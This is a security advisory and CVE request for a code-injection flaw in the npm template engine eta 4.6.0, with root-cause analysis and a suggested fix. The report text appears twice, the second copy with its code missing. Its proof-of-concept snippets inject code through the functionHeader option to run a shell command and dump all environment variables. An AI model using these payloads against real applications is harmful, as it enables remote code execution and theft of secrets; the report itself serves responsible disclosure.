New Vulnerability Report
Package: eta (npm)
Current version: 4.6.0 (latest)
Weekly downloads: ~4.5 million
CWE: CWE-94 (Code Injection)
CVSS 3.1: 8.1 HIGH (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Reporter: Het Mehta (@hetmehtaa)
Summary
eta 4.6.0 (latest release) passes the config options functionHeader, varName, and outputFunctionName directly into a new Function() body without any validation. An attacker who can set these config values gets arbitrary code execution in the Node.js process.
CVE-2022-25967 closed one attack path (Express data.settings auto-merge) but never added validation on the config values themselves. The root cause is still present in all versions up to and including 4.6.0.
Root Cause
In src/compile-string.ts, the compileToString function builds a JavaScript function body using string interpolation:
let res = `${config.functionHeader}
...
function ${config.outputFunctionName}(s){__eta.res+=s;}
This string goes to new Function(config.varName, 'options', res). None of these three values are checked or validated.
Proof of Concept
import { Eta } from 'eta';
// 1. Arbitrary code execution via functionHeader
const eta1 = new Eta({ functionHeader: "return 'INJECTED_' + (7*7)" });
eta1.renderString("Hello", {}); // returns "INJECTED_49" instead of "Hello"
// 2. Full RCE via async rendering and dynamic import
const eta2 = new Eta({
functionHeader: "const cp = await import('child_process'); return cp.execSync('id').toString();"
});
await eta2.renderStringAsync("ignored", {}); // executes 'id' command
// 3. Environment variable disclosure
const eta3 = new Eta({ functionHeader: "return JSON.stringify(process.env)" });
eta3.renderString("x", {}); // leaks all environment variables
All PoCs confirmed on eta 4.6.0 with Node.js v25.9.0.
CVE-2022-25967 fixed the Express data.settings merge that let template data overwrite engine config. That fix blocked one way for attacker data to reach the config.
This finding shows the root cause was never fixed. The config options still accept arbitrary strings and get interpolated into new Function(). Any other path that puts attacker data into these config options (constructor spread, configure(), prototype pollution) gives full RCE.
EJS fixed the same class of bug (CVE-2022-29078) by adding a _JS_IDENTIFIER regex check. Eta has no such check.
Suggested Fix
Validate varName and outputFunctionName with a JS identifier regex. Consider removing functionHeader or documenting it as trusted-only.
Affected Versions
All versions of eta, up to and including 4.6.0 (latest).
Maintainer Contact
The maintainer (Ben Gubler, @bgub) has been notified via email on 2026-10-11. Private vulnerability reporting is disabled on the bgub/eta repository.
Request
Requesting CVE assignment for this vulnerability through GitHub's CNA.
New Vulnerability Report
Package: eta (npm)
Current version: 4.6.0 (latest)
Weekly downloads: ~4.5 million
CWE: CWE-94 (Code Injection)
CVSS 3.1: 8.1 HIGH (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Reporter: Het Mehta (@hetmehtaa)
Summary
eta 4.6.0 (latest release) passes the config options
functionHeader,varName, andoutputFunctionNamedirectly into anew Function()body without any validation. An attacker who can set these config values gets arbitrary code execution in the Node.js process.CVE-2022-25967 closed one attack path (Express
data.settingsauto-merge) but never added validation on the config values themselves. The root cause is still present in all versions up to and including 4.6.0.Root Cause
In
src/compile-string.ts, thecompileToStringfunction builds a JavaScript function body using string interpolation:This string goes to
new Function(config.varName, 'options', res). None of these three values are checked or validated.Proof of Concept
All PoCs confirmed on eta 4.6.0 with Node.js v25.9.0.
How This Differs from CVE-2022-25967
CVE-2022-25967 fixed the Express
data.settingsmerge that let template data overwrite engine config. That fix blocked one way for attacker data to reach the config.This finding shows the root cause was never fixed. The config options still accept arbitrary strings and get interpolated into
new Function(). Any other path that puts attacker data into these config options (constructor spread,configure(), prototype pollution) gives full RCE.EJS fixed the same class of bug (CVE-2022-29078) by adding a
_JS_IDENTIFIERregex check. Eta has no such check.Suggested Fix
Validate
varNameandoutputFunctionNamewith a JS identifier regex. Consider removingfunctionHeaderor documenting it as trusted-only.Affected Versions
All versions of eta, up to and including 4.6.0 (latest).
Maintainer Contact
The maintainer (Ben Gubler, @bgub) has been notified via email on 2026-10-11. Private vulnerability reporting is disabled on the bgub/eta repository.
Request
Requesting CVE assignment for this vulnerability through GitHub's CNA.